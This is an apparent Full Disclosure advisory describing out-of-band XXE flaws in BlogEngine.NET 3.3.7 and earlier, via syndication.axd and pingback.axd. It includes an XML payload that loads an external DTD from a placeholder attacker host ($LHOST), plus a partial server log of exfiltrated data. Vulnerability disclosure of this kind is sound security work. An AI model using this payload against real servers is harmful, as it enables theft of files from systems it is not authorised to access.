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Date: Wed, 19 Jun 2019 17:43:03 -0600
From: aaron bishop <>
Subject: [FD] BlogEngine.Net XXE issues

BlogEngine.NET, versions 3.3.7 and earlier, are vulnerable to an
Out-of-band XXE attack through syndication.axd and pingback.axd.

*syndication.axd *accepts an external xml as the value for apml through a
request such as:


*pingback.axd*  will parse a POST with an XML body, such as:

<?xml version="1.0"?>
    <!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd">

<methodName></methodName> is required in the body for the XML
to be parsed.

An Out-of-band XXE attack results in the XML parser sending the contents of
a file on the victim to the attack as part of a request such as:

$RHOST - - [01/Apr/2019:16:34:40 -0600] "GET
HTTP/1.1" 404 438 "-" "-"

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